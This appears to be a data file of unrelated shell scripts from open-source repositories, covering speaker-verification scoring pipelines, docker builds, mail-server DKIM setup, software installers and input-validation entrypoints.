$data/sre10_test_coreext_c5_$gender $nnetdir/xvectors_sre10_test_coreext_c5_$gender\n\n nnet/run_extract_embeddings.sh --cmd \"$train_cmd\" --nj $nnet_nj --use-gpu false --checkpoint $checkpoint --stage 0 \\\n --chunk-size 10000 --normalize false --node \"tdnn6_dense\" \\\n $nnetdir $data/sre10_enroll_10s_$gender $nnetdir/xvectors_sre10_enroll_10s_$gender\n\n nnet/run_extract_embeddings.sh --cmd \"$train_cmd\" --nj $nnet_nj --use-gpu false --checkpoint $checkpoint --stage 0 \\\n --chunk-size 10000 --normalize false --node \"tdnn6_dense\" \\\n $nnetdir $data/sre10_test_10s_$gender $nnetdir/xvectors_sre10_test_10s_$gender\nfi\n\n# PLDA scoring on NIST SRE 2010\nif [ $stage -le 8 ]; then\n ### !!! Re-train LDA and PLDA models when it is referred again\n lda_dim=150\n\n $train_cmd $nnetdir/xvectors_sre_combined/log/compute_mean.log \\\n ivector-mean scp:$nnetdir/xvectors_sre_combined/xvector.scp \\\n $nnetdir/xvectors_sre_combined/mean.vec || exit 1;\n\n # This script uses LDA to decrease the dimensionality prior to PLDA.\n $train_cmd $nnetdir/xvectors_sre_combined/log/lda.log \\\n ivector-compute-lda --total-covariance-factor=0.0 --dim=$lda_dim \\\n \"ark:ivector-subtract-global-mean scp:$nnetdir/xvectors_sre_combined/xvector.scp ark:- |\" \\\n ark:$data/sre_combined/utt2spk $nnetdir/xvectors_sre_combined/transform.mat || exit 1;\n\n $train_cmd $nnetdir/xvectors_sre_combined/log/plda_lda${lda_dim}.log \\\n ivector-compute-plda ark:$data/sre_combined/spk2utt \\\n \"ark:ivector-subtract-global-mean scp:$nnetdir/xvectors_sre_combined/xvector.scp ark:- | transform-vec $nnetdir/xvectors_sre_combined/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n $nnetdir/xvectors_sre_combined/plda_lda${lda_dim} || exit 1;\n\n # Coreext C5\n $train_cmd $nnetdir/xvector_scores/log/sre10_coreext_c5_$gender.log \\\n ivector-plda-scoring --normalize-length=true \\\n --num-utts=ark:$nnetdir/xvectors_sre10_enroll_coreext_c5_$gender/num_utts.ark \\\n \"ivector-copy-plda --smoothing=0.0 $nnetdir/xvectors_sre_combined/plda_lda${lda_dim} - |\" \\\n \"ark:ivector-mean ark:$data/sre10_enroll_coreext_c5_$gender/spk2utt scp:$nnetdir/xvectors_sre10_enroll_coreext_c5_$gender/xvector.scp ark:- | ivector-subtract-global-mean $nnetdir/xvectors_sre_combined/mean.vec ark:- ark:- | transform-vec $nnetdir/xvectors_sre_combined/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"ark:ivector-subtract-global-mean $nnetdir/xvectors_sre_combined/mean.vec scp:$nnetdir/xvectors_sre10_test_coreext_c5_$gender/xvector.scp ark:- | transform-vec $nnetdir/xvectors_sre_combined/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"cat '$data/sre10_test_coreext_c5_$gender/trials' | cut -d\\ --fields=1,2 |\" $nnetdir/xvector_scores/sre10_coreext_c5_scores_$gender || exit 1;\n\n # 10s-10s\n $train_cmd $nnetdir/xvector_scores/log/sre10_10s_$gender.log \\\n ivector-plda-scoring --normalize-length=true \\\n --num-utts=ark:$nnetdir/xvectors_sre10_enroll_10s_$gender/num_utts.ark \\\n \"ivector-copy-plda --smoothing=0.0 $nnetdir/xvectors_sre_combined/plda_lda${lda_dim} - |\" \\\n \"ark:ivector-mean ark:$data/sre10_enroll_10s_$gender/spk2utt scp:$nnetdir/xvectors_sre10_enroll_10s_$gender/xvector.scp ark:- | ivector-subtract-global-mean $nnetdir/xvectors_sre_combined/mean.vec ark:- ark:- | transform-vec $nnetdir/xvectors_sre_combined/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"ark:ivector-subtract-global-mean $nnetdir/xvectors_sre_combined/mean.vec scp:$nnetdir/xvectors_sre10_test_10s_$gender/xvector.scp ark:- | transform-vec $nnetdir/xvectors_sre_combined/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"cat '$data/sre10_test_10s_$gender/trials' | cut -d\\ --fields=1,2 |\" $nnetdir/xvector_scores/sre10_10s_scores_$gender || exit 1;\n\n eval_plda_sre10.sh $gender $data $nnetdir\nfi\n\nif [ $stage -le 9 ]; then\n nnet/run_extract_embeddings.sh --cmd \"$train_cmd\" --nj $nnet_nj --use-gpu false --checkpoint $checkpoint --stage 0 \\\n --chunk-size 10000 --normalize false --node \"tdnn6_dense\" \\\n $nnetdir $data/sre16_major $nnetdir/xvectors_sre16_major\n\n nnet/run_extract_embeddings.sh --cmd \"$train_cmd\" --nj $nnet_nj --use-gpu false --checkpoint $checkpoint --stage 0 \\\n --chunk-size 10000 --normalize false --node \"tdnn6_dense\" \\\n $nnetdir $data/sre16_eval_enroll $nnetdir/xvectors_sre16_eval_enroll\n\n nnet/run_extract_embeddings.sh --cmd \"$train_cmd\" --nj $nnet_nj --use-gpu false --checkpoint $checkpoint --stage 0 \\\n --chunk-size 10000 --normalize false --node \"tdnn6_dense\" \\\n $nnetdir $data/sre16_eval_test $nnetdir/xvectors_sre16_eval_test\nfi\n\n# PLDA scoring on SRE 2016\nif [ $stage -le 10 ]; then\n ### !!! Re-train LDA and PLDA models when it is referred again\n lda_dim=150\n\n $train_cmd $nnetdir/xvectors_sre16_major/log/compute_mean.log \\\n ivector-mean scp:$nnetdir/xvectors_sre16_major/xvector.scp \\\n $nnetdir/xvectors_sre16_major/mean.vec || exit 1;\n\n # This script uses LDA to decrease the dimensionality prior to PLDA.\n $train_cmd $nnetdir/xvectors_sre_combined/log/lda.log \\\n ivector-compute-lda --total-covariance-factor=0.0 --dim=$lda_dim \\\n \"ark:ivector-subtract-global-mean scp:$nnetdir/xvectors_sre_combined/xvector.scp ark:- |\" \\\n ark:$data/sre_combined/utt2spk $nnetdir/xvectors_sre_combined/transform.mat || exit 1;\n\n # Train an out-of-domain PLDA model.\n $train_cmd $nnetdir/xvectors_sre_combined/log/plda_lda${lda_dim}.log \\\n ivector-compute-plda ark:$data/sre_combined/spk2utt \\\n \"ark:ivector-subtract-global-mean scp:$nnetdir/xvectors_sre_combined/xvector.scp ark:- | transform-vec $nnetdir/xvectors_sre_combined/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n $nnetdir/xvectors_sre_combined/plda_lda${lda_dim} || exit 1;\n\n # Here we adapt the out-of-domain PLDA model to SRE16 major, a pile\n # of unlabeled in-domain data. In the future, we will include a clustering\n # based approach for domain adaptation, which tends to work better.\n $train_cmd $nnetdir/xvectors_sre16_major/log/plda_lda${lda_dim}_sre16_adapt.log \\\n ivector-adapt-plda --within-covar-scale=0.75 --between-covar-scale=0.25 \\\n $nnetdir/xvectors_sre_combined/plda_lda${lda_dim} \\\n \"ark:ivector-subtract-global-mean scp:$nnetdir/xvectors_sre16_major/xvector.scp ark:- | transform-vec $nnetdir/xvectors_sre_combined/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n $nnetdir/xvectors_sre16_major/plda_lda${lda_dim}_sre16_adapt || exit 1;\n\n # Get results using the out-of-domain PLDA model.\n $train_cmd $nnetdir/xvector_scores/log/sre16_eval.log \\\n ivector-plda-scoring --normalize-length=true \\\n --num-utts=ark:$nnetdir/xvectors_sre16_eval_enroll/num_utts.ark \\\n \"ivector-copy-plda --smoothing=0.0 $nnetdir/xvectors_sre_combined/plda_lda${lda_dim} - |\" \\\n \"ark:ivector-mean ark:$data/sre16_eval_enroll/spk2utt scp:$nnetdir/xvectors_sre16_eval_enroll/xvector.scp ark:- | ivector-subtract-global-mean $nnetdir/xvectors_sre16_major/mean.vec ark:- ark:- | transform-vec $nnetdir/xvectors_sre_combined/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"ark:ivector-subtract-global-mean $nnetdir/xvectors_sre16_major/mean.vec scp:$nnetdir/xvectors_sre16_eval_test/xvector.scp ark:- | transform-vec $nnetdir/xvectors_sre_combined/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"cat '$sre16_trials' | cut -d\\ --fields=1,2 |\" $nnetdir/xvector_scores/sre16_eval_scores || exit 1;\n\n # Get results using the adapted PLDA model.\n $train_cmd $nnetdir/xvector_scores/log/sre16_eval_scoring_adapt.log \\\n ivector-plda-scoring --normalize-length=true \\\n --num-utts=ark:$nnetdir/xvectors_sre16_eval_enroll/num_utts.ark \\\n \"ivector-copy-plda --smoothing=0.0 $nnetdir/xvectors_sre16_major/plda_lda${lda_dim}_sre16_adapt - |\" \\\n \"ark:ivector-mean ark:$data/sre16_eval_enroll/spk2utt scp:$nnetdir/xvectors_sre16_eval_enroll/xvector.scp ark:- | ivector-subtract-global-mean $nnetdir/xvectors_sre16_major/mean.vec ark:- ark:- | transform-vec $nnetdir/xvectors_sre_combined/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"ark:ivector-subtract-global-mean $nnetdir/xvectors_sre16_major/mean.vec scp:$nnetdir/xvectors_sre16_eval_test/xvector.scp ark:- | transform-vec $nnetdir/xvectors_sre_combined/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"cat '$sre16_trials' | cut -d\\ --fields=1,2 |\" $nnetdir/xvector_scores/sre16_eval_scores_adapt || exit 1;\n\n eval_plda_sre16.sh $gender $data $nnetdir\n exit 1\nfi\n\nnnetdir=$exp/xvector_nnet_tdnn_softmax_1e-2\ncheckpoint='last'\n\nif [ $stage -le 11 ];then\n nnet/run_extract_embeddings.sh --cmd \"$train_cmd\" --nj $nnet_nj --use-gpu false --checkpoint $checkpoint --stage 0 \\\n --chunk-size 10000 --normalize false --node \"output\" \\\n $nnetdir $data/sre10_enroll_coreext_c5_$gender $nnetdir/xvectors_sre10_enroll_coreext_c5_$gender\n\n nnet/run_extract_embeddings.sh --cmd \"$train_cmd\" --nj $nnet_nj --use-gpu false --checkpoint $checkpoint --stage 0 \\\n --chunk-size 10000 --normalize false --node \"output\" \\\n $nnetdir $data/sre10_test_coreext_c5_$gender $nnetdir/xvectors_sre10_test_coreext_c5_$gender\n\n nnet/run_extract_embeddings.sh --cmd \"$train_cmd\" --nj $nnet_nj --use-gpu false --checkpoint $checkpoint --stage 0 \\\n --chunk-size 10000 --normalize false --node \"output\" \\\n $nnetdir $data/sre10_enroll_10s_$gender $nnetdir/xvectors_sre10_enroll_10s_$gender\n\n nnet/run_extract_embeddings.sh --cmd \"$train_cmd\" --nj $nnet_nj --use-gpu false --checkpoint $checkpoint --stage 0 \\\n --chunk-size 10000 --normalize false --node \"output\" \\\n $nnetdir $data/sre10_test_10s_$gender $nnetdir/xvectors_sre10_test_10s_$gender\n\n nnet/run_extract_embeddings.sh --cmd \"$train_cmd\" --nj $nnet_nj --use-gpu false --checkpoint $checkpoint --stage 0 \\\n --chunk-size 10000 --normalize false --node \"output\" \\\n $nnetdir $data/sre16_eval_enroll $nnetdir/xvectors_sre16_eval_enroll\n\n nnet/run_extract_embeddings.sh --cmd \"$train_cmd\" --nj $nnet_nj --use-gpu false --checkpoint $checkpoint --stage 0 \\\n --chunk-size 10000 --normalize false --node \"output\" \\\n $nnetdir $data/sre16_eval_test $nnetdir/xvectors_sre16_eval_test\nfi\n\nif [ $stage -le 12 ]; then\n mkdir -p $nnetdir/xvector_scores\n\n # Coreext C5\n cat $data/sre10_test_coreext_c5_$gender/trials | awk '{print $1, $2}' | \\\n ivector-compute-dot-products - \\\n \"ark:ivector-mean ark:$data/sre10_enroll_coreext_c5_$gender/spk2utt scp:$nnetdir/xvectors_sre10_enroll_coreext_c5_$gender/xvector.scp ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"ark:ivector-normalize-length scp:$nnetdir/xvectors_sre10_test_coreext_c5_$gender/xvector.scp ark:- |\" \\\n $nnetdir/xvector_scores/sre10_coreext_c5_scores_$gender.cos\n\n # 10s-10s\n cat $data/sre10_test_10s_$gender/trials | awk '{print $1, $2}' | \\\n ivector-compute-dot-products - \\\n \"ark:ivector-mean ark:$data/sre10_enroll_10s_$gender/spk2utt scp:$nnetdir/xvectors_sre10_enroll_10s_$gender/xvector.scp ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"ark:ivector-normalize-length scp:$nnetdir/xvectors_sre10_test_10s_$gender/xvector.scp ark:- |\" \\\n $nnetdir/xvector_scores/sre10_10s_scores_$gender.cos\n\n # SRE2016\n cat $sre16_trials | awk '{print $1, $2}' | \\\n ivector-compute-dot-products - \\\n \"ark:ivector-mean ark:$data/sre16_eval_enroll/spk2utt scp:$nnetdir/xvectors_sre16_eval_enroll/xvector.scp ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"ark:ivector-normalize-length scp:$nnetdir/xvectors_sre16_eval_test/xvector.scp ark:- |\" \\\n $nnetdir/xvector_scores/sre16_eval_scores.cos\n\n eval_cos.sh $gender $data $nnetdir\n exit 1\nfi"} {"text": "#!/bin/bash\n\ndocker build . -t tmats/deepsdf:latest"} {"text": "lukasz-bielinski/generate_blocklist\n#!/bin/bash\n\nwhile true; do\ncurl -s https://www.iblocklist.com/lists.json | \\\n jq -r '.lists[] | select(.subscription == \"false\") | .list' | \\\n awk '{ print \"http://list.iblocklist.com/?fileformat=p2p&archiveformat=gz&list=\" $0 }' | \\\n xargs wget -O - | \\\n gunzip | \\\n egrep -v '^#' | \\\n gzip > webserver-files/tmp.gz\n\n rm -f webserver-files/blocklist.gz || true\n cp webserver-files/tmp.gz webserver-files/blocklist.gz\n # serve extracted\n gunzip -f webserver-files/blocklist.gz\n\necho \"sleep for 1800s\"\n sleep 1800\n\ndone"} {"text": "cau-placc/pakcs\nGHC_VERSION=8.8.3\n\ndocker build \\\n --build-arg GHC_VERSION=${GHC_VERSION} \\\n -t pakcs-swi-ci:${GHC_VERSION} \\\n -f ./Dockerfile-swi ."} {"text": "#!/usr/bin/env bash\nset -euo pipefail\n[ -n \"$MAIL_DOMAIN\" ]\nexec opendkim-genkey \\\n --bits=2048 \\\n --directory=/keys \\\n --domain=\"mail.$MAIL_DOMAIN\" \\\n --hash-algorithms=sha256 \\\n --restrict \\\n --selector=mail \\\n \"$@\""} {"text": "time gcc -o jx2vm.elf jx2vm.c -g -O2 -lm -DUSE_SDL -lSDL\n# time clang -o jx2vm.elf jx2vm.c -g -O2 -lm -DUSE_SDL -lSDL"} {"text": "salt/appliance/postfix/prepare-postfix.sh0\nprepare_postfix () {\n local restart_opendkim=false\n # ### opendkim: rewrite opendkim.conf with APPPLIANCE_DOMAIN\n sed -i.bak \"s/^Domain.*/Domain $APPLIANCE_DOMAIN/\" /etc/opendkim.conf\n if ! diff -q /etc/opendkim.conf.bak /etc/opendkim.conf; then\n echo \"opendkim.conf changed\"\n diff -u /etc/opendkim.conf.bak /etc/opendkim.conf\n restart_opendkim=true\n fi\n # ### opendkim: rewrite rsa key if not existing or different with APPLIANCE_DKIM_KEY\n if test ! -d /etc/dkimkeys; then mkdir /etc/dkimkeys; fi\n echo \"$APPLIANCE_DKIM_KEY\" > /etc/dkimkeys/dkim.key.new\n chown opendkim /etc/dkimkeys/dkim.key.new\n chmod \"0600\" /etc/dkimkeys/dkim.key.new\n if ! diff -q /etc/dkimkeys/dkim.key /etc/dkimkeys/dkim.key.new; then\n echo \"/etc/dkimkeys/dkim.key changed\"\n mv /etc/dkimkeys/dkim.key.new /etc/dkimkeys/dkim.key\n restart_opendkim=true\n fi\n if $restart_opendkim; then\n systemctl restart opendkim\n fi\n # ### postfix: rewrite postfix main.cf with APPLIANCE_DOMAIN, restart postfix (ssl keys change)\n sed -i.bak \"s/^myhostname.*/myhostname = $APPLIANCE_DOMAIN/;s/^mydomain.*/mydomain = $APPLIANCE_DOMAIN/\" /etc/postfix/main.cf\n if ! diff -q /etc/postfix/main.cf /etc/postfix/main.cf.bak; then\n echo \"postfix main.cf changed\"\n diff -u /etc/postfix/main.cf.bak /etc/postfix/main.cf\n fi\n systemctl restart postfix\n}"} {"text": "devenv/configure.sh\n#!/usr/bin/env bash\n\nfor file in $(find .foundations -type f -name \"*.config\"); do \\\n envsubst < $file > $file.yaml\ndone"} {"text": "#!/bin/bash\n\"`dirname $0`/stop-server.sh\"\n\"`dirname $0`/run-server.sh\""} {"text": "#!/usr/bin/env bash\n#\n# Copyright 2016-2020, Intel Corporation\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in\n# the documentation and/or other materials provided with the\n# distribution.\n#\n# * Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived\n# from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#\n# install-valgrind.sh - installs valgrind for persistent memory\n#\n\nset -e\n\nif [ \"${SKIP_VALGRIND_BUILD}\" ]; then\n\techo \"Variable 'SKIP_VALGRIND_BUILD' is set; skipping building valgrind (pmem's fork)\"\n\texit\nfi\n\nOS=$1\n\ngit clone https://github.com/pmem/valgrind.git\ncd valgrind\n# valgrind v3.15 with pmemcheck\ngit checkout c27a8a2f973414934e63f1e94bc84c0a580e3840\n\n# set OS-specific configure options\nOS_SPECIFIC=\"\"\ncase $(echo $OS | cut -d'-' -f1) in\n\tcentos|opensuse)\n\t\tOS_SPECIFIC=\"--libdir=/usr/lib64\"\n\t\t;;\nesac\n\n./autogen.sh\n./configure --prefix=/usr $OS_SPECIFIC\nmake -j$(nproc)\nsudo make -j$(nproc) install\ncd ..\nrm -r valgrind"} {"text": "#!/bin/sh\n# Copyright 2020 Huawei Technologies Co., Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n# validate name\nvalidate_name() {\n hostname=\"$1\"\n len=\"${#hostname}\"\n if [ \"${len}\" -gt \"64\" ]; then\n return 1\n fi\n if ! echo \"$hostname\" | grep -qE '^[a-zA-Z0-9]*$|^[a-zA-Z0-9][a-zA-Z0-9_\\-]*[a-zA-Z0-9]$'; then\n return 1\n fi\n return 0\n}\n\n# validates whether file exist\nvalidate_file_exists() {\n file_path=\"$1\"\n\n # checks variable is unset\n if [ -z \"$file_path\" ]; then\n echo \"file path variable is not set\"\n return 1\n fi\n\n # checks if file exists\n if [ ! -f \"$file_path\" ]; then\n echo \"file does not exist\"\n return 1\n fi\n\n return 0\n}\n\n# Validates if dir exists\nvalidate_dir_exists()\n{\n dir_path=\"$1\"\n\n # checks if dir path var is unset\n if [ -z \"$dir_path\" ] ; then\n echo \"dir path variable is not set\"\n return 1\n fi\n\n # checks if dir exists\n if [ ! -d \"$dir_path\" ] ; then\n echo \"dir does not exist\"\n return 1\n fi\n\n return 0\n}\n\n# Validates if ip is valid\nvalidate_ip()\n{\n ip_var=\"$1\"\n # checks if variable is unset\n if [ -z \"$ip_var\" ] ; then\n echo \"ip is not set\"\n return 1\n fi\n\n if ! echo \"$ip_var\" | grep -qE '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.)' ; then\n return 1\n fi\n return 0\n}\n\n# Contain at most 63 characters\n# Contain only lowercase alphanumeric characters or '-'\n# Start with an alphanumeric character\n# End with an alphanumeric character\nvalidate_host_name()\n{\n hostname=\"$1\"\n len=\"${#hostname}\"\n if [ \"${len}\" -gt \"253\" ] ; then\n return 1\n fi\n if ! echo \"$hostname\" | grep -qE '^([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])(\\.([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9]))*$' ; then\n return 1\n fi\n return 0\n}\n\n# Validating if port is > 1 and < 65535 , not validating reserved port.\nvalidate_port_num()\n{\n portnum=\"$1\"\n len=\"${#portnum}\"\n if [ \"${len}\" -gt \"5\" ] ; then\n return 1\n fi\n if ! echo \"$portnum\" | grep -qE '^-?[0-9]+$' ; then\n return 1\n fi\n if [ \"$portnum\" -gt \"65535\" ] || [ \"$portnum\" -lt \"1\" ] ; then\n return 1\n fi\n return 0\n}\n\n# ssl parameters validation\nvalidate_file_exists \"/usr/app/ssl/server_tls.crt\"\nvalid_server_certificate=\"$?\"\nif [ ! \"$valid_server_certificate\" -eq \"0\" ]; then\n echo \"server certificate is missing\"\n exit 1\nfi\n\nvalidate_file_exists \"/usr/app/ssl/server_tls.key\"\nvalid_server_certificate=\"$?\"\nif [ ! \"$valid_server_certificate\" -eq \"0\" ]; then\n echo \"server key is missing\"\n exit 1\nfi\n\nvalidate_file_exists \"/usr/app/ssl/ca.crt\"\nvalid_server_certificate=\"$?\"\nif [ ! \"$valid_server_certificate\" -eq \"0\" ]; then\n echo \"ca cert is missing\"\n exit 1\nfi\n\nif [ ! -z \"$LOG_DIR\" ] ; then\n validate_dir_exists \"$LOG_DIR\"\n valid_log_dir=\"$?\"\n if [ ! \"$valid_log_dir\" -eq \"0\" ] ; then\n echo \"log directory does not exist\"\n exit 1\n fi\nfi\n\nvalidate_ip \"$LISTEN_IP\"\nvalid_listen_ip=\"$?\"\nif [ ! \"$valid_listen_ip\" -eq \"0\" ]; then\n echo \"invalid ip address for listen ip\"\n exit 1\nfi\n\n# app parameters validation\nif [ ! -z \"$MEP_SERVER_ADDR\" ] ; then\n validate_host_name \"$MEP_SERVER_ADDR\"\n valid_mep_host_name=\"$?\"\n if [ ! \"$valid_mep_host_name\" -eq \"0\" ] ; then\n echo \"invalid mep host name\"\n exit 1\n fi\nfi\n\nif [ ! -z \"$MEP_SERVER_PORT\" ] ; then\n validate_port_num \"$MEP_SERVER_PORT\"\n valid_mep_port=\"$?\"\n if [ ! \"$valid_mep_port\" -eq \"0\" ] ; then\n echo \"invalid mep port number\"\n exit 1\n fi\nfi\n\n# db parameters validation\nif [ ! -z \"$APPRULEMGR_DB\" ]; then\n validate_name \"$APPRULEMGR_DB\"\n valid_name=\"$?\"\n if [ ! \"$valid_name\" -eq \"0\" ]; then\n echo \"invalid DB name\"\n exit 1\n fi\nelse\n export APPRULEMGR_DB=apprulemgrdb\nfi\n\n# db parameters validation\nif [ ! -z \"$APPRULEMGR_USER\" ]; then\n validate_name \"$APPRULEMGR_USER\"\n valid_name=\"$?\"\n if [ ! \"$valid_name\" -eq \"0\" ]; then\n echo \"invalid DB user name\"\n exit 1\n fi\nelse\n export APPRULEMGR_USER=apprulemgr\nfi\n\nif [ ! -z \"$APPRULEMGR_DB_HOST\" ]; then\n validate_host_name \"$APPRULEMGR_DB_HOST\"\n valid_db_host_name=\"$?\"\n if [ ! \"$valid_db_host_name\" -eq \"0\" ]; then\n echo \"invalid db host name\"\n exit 1\n fi\nelse\n export APPRULEMGR_DB_HOST=mepm-postgres\nfi\n\nif [ ! -z \"$APPRULEMGR_DB_PORT\" ]; then\n validate_port_num \"$APPRULEMGR_DB_PORT\"\n valid_db_port=\"$?\"\n if [ ! \"$valid_db_port\" -eq \"0\" ]; then\n echo \"invalid apprulemgr db port number\"\n exit 1\n fi\nelse\n export APPRULEMGR_DB_PORT=5432\nfi\n\nsed -i \"s/^HTTPSAddr.*=.*$/HTTPSAddr = $(hostname -i)/g\" conf/app.conf\nsed -i \"s/^dbAdapter.*=.*$/dbAdapter = ${APPRULEMGR_DB_ADAPTER}/g\" conf/app.conf\nsed -i \"s/^isHTTPS.*=.*$/isHTTPS = $(IS_HTTPS)/g\" conf/app.conf\n\ncd /usr/app\numask 0027\n$HOME/bin/apprulemgr"} {"text": "#!/bin/sh\n\nbranch=$(git rev-parse --abbrev-ref HEAD)\n\nif [ $branch != \"main\" ]\nthen\n echo \"Needs to be on main branch to bump current version\"\n exit 1\nfi"} {"text": "Scripts/script_debs.sh1-10\n#!/usr/bin/env bash\n# autor: HenriqueAD \n# descrição: Efetua o download e instala pacotees DEB.\n# version: 1.0\n# licença: MIT License\n\n# ---------- CORES PARA MELHOR VISUALIZAÇÃO ---------- #\n\nexport corGreen=\"\\033[1;32m\" #Instalação VERDE\nexport corBlue=\"\\033[1;34m\" #Atualização AZUL\nexport corRed=\"\\033[1;31m\" #Remoção VERMELHO\nexport corGrey=\"\\033[40;1;37m\" #CINZA\nexport corYellow=\"\\033[1;33m\" #AMARELO\n\n# ---------- PARAMETRO PASSADO DE script_menu ---------- #\nsenha=\"$1\"\n\n# ---------- VARIÁVEIS DE AMBIENTE DEBS ---------- #\n\nGOOGLE_CHROME=\"google-chrome-stable_current_amd64.deb\"\nAPP_4K_VIDEO_DOWNLOADER=\"4kvideodownloader_4.12.1-1_amd64.deb\"\nAPP_4K_YOUTUBE_TOMP3=\"4kyoutubetomp3_3.12.0-1_amd64.deb\"\nSIMPLE_NOTE=\"Simplenote-linux-1.15.1-amd64.deb\"\nOPENCOMIC=\"v0.1.5/opencomic_0.1.5_amd64.deb\"\nXNCONVERT=\"XnConvert-linux-x64.deb\"\n\nURL_GOOGLE_CHROME=\"https://dl.google.com/linux/direct/$GOOGLE_CHROME\"\nURL_4K_VIDEO_DOWNLOADER=\"https://dl.4kdownload.com/app/$APP_4K_VIDEO_DOWNLOADER\"\nURL_4K_YOUTUBE_TOMP3=\"https://dl.4kdownload.com/app/$APP_4K_YOUTUBE_TOMP3\"\nURL_SIMPLE_NOTE=\"https://github.com/Automattic/simplenote-electron/releases/download/v1.15.1/$SIMPLE_NOTE\"\nURL_OPENCOMIC=\"https://github.com/ollm/OpenComic/releases/download/$OPENCOMIC\"\nURL_XNCONVERT=\"https://download.xnview.com/$XNCONVERT\"\n\nDIR_DOWNLOADS=\"$HOME/Downloads/Apps_DEB\"\n\n# ---------- DOWNLOAD DE PACOTES DEBS ---------- #\necho \"\"\necho -e $corYellow \" --- Efetuando o download de pacotes DEBs --- \\033[0m\"\nmkdir \"$DIR_DOWNLOADS\"\nwget -c \"$URL_GOOGLE_CHROME\" -P \"$DIR_DOWNLOADS\"\nwget -c \"$URL_SIMPLE_NOTE\" -P \"$DIR_DOWNLOADS\"\nwget -c \"$URL_4K_VIDEO_DOWNLOADER\" -P \"$DIR_DOWNLOADS\"\nwget -c \"$URL_4K_YOUTUBE_TOMP3\" -P \"$DIR_DOWNLOADS\"\nwget -c \"$URL_OPENCOMIC\" -P \"$DIR_DOWNLOADS\"\nwget -c \"$URL_XNCONVERT\" -P \"$DIR_DOWNLOADS\"\n\n# ----------- INSTALANDO PACOTES DEBS ----------- #\necho \"\"\necho -e $corGreen \" --- Instalando pacotes DEBs --- \\033[0m\"\necho ${senha} | (sudo -S apt install $DIR_DOWNLOADS/*.deb -y)\necho \"\"\necho -e $corGreen \" --- Pacotes DEBs instalados com sucesso! --- \\033[0m\"\necho \"\""} {"text": "Anorlondo448/copilot-cli\n#! /bin/sh\n\n[ -z \"$STATUS\" ] && STATUS=\"NOT OVERRIDDEN\"\n\nsleep 20\n\nfor i in 1 2 3 4 5 6 7 8; do\n echo \"e2e environment variables: $STATUS\"\n sleep 3\ndone"} {"text": "cd ~/code/call8/config\n\nsudo cp broadcasting.php.do broadcasting.php\n\ncd ~/code/call8/resources/js\n\nsudo cp bootstrap.js.do bootstrap.js\n\ndocker exec -it node sh"} {"text": "#!/bin/bash\n\n#shellcheck disable=SC2034\ntest_name=\"airgap_a1_migration\"\ntest_container_name=\"a1-migration.test\"\ntest_upgrade_strategy=\"none\"\ntest_deploy_inspec_profiles=(a2-migrate-from-v1-integration)\n\n# Note: this matches the hashes in a1stub/server.go,\n# $2a$12$SWA2q.A2Pe8PzNw.i7DcruoIoq.Lgvz0G7O07.V21I077PveSkGy6\n# and\n# $2a$12$DpdJVmcRKtz8LFB3cZ.QrOWA.3XrbW6htKrzKl1xT4Z/XLGgFR90y\nexport AUTOMATE_API_DEFAULT_PASSWORD=\"\"\nexport A1_BUILDER_PASSWORD=\"\"\n\n\ndo_build() {\n do_build_default\n set_test_manifest \"build.json\"\n log_info \"Installing harts\"\n # We need to make sure the harts are installed so that the bundle creation works\n #shellcheck disable=SC2154\n if ls \"${test_hartifacts_path}\"/*.hart\n then\n hab pkg install \"${test_hartifacts_path}\"/*.hart\n fi\n\n log_info \"Creating airgap bundle\"\n #shellcheck disable=SC2154\n 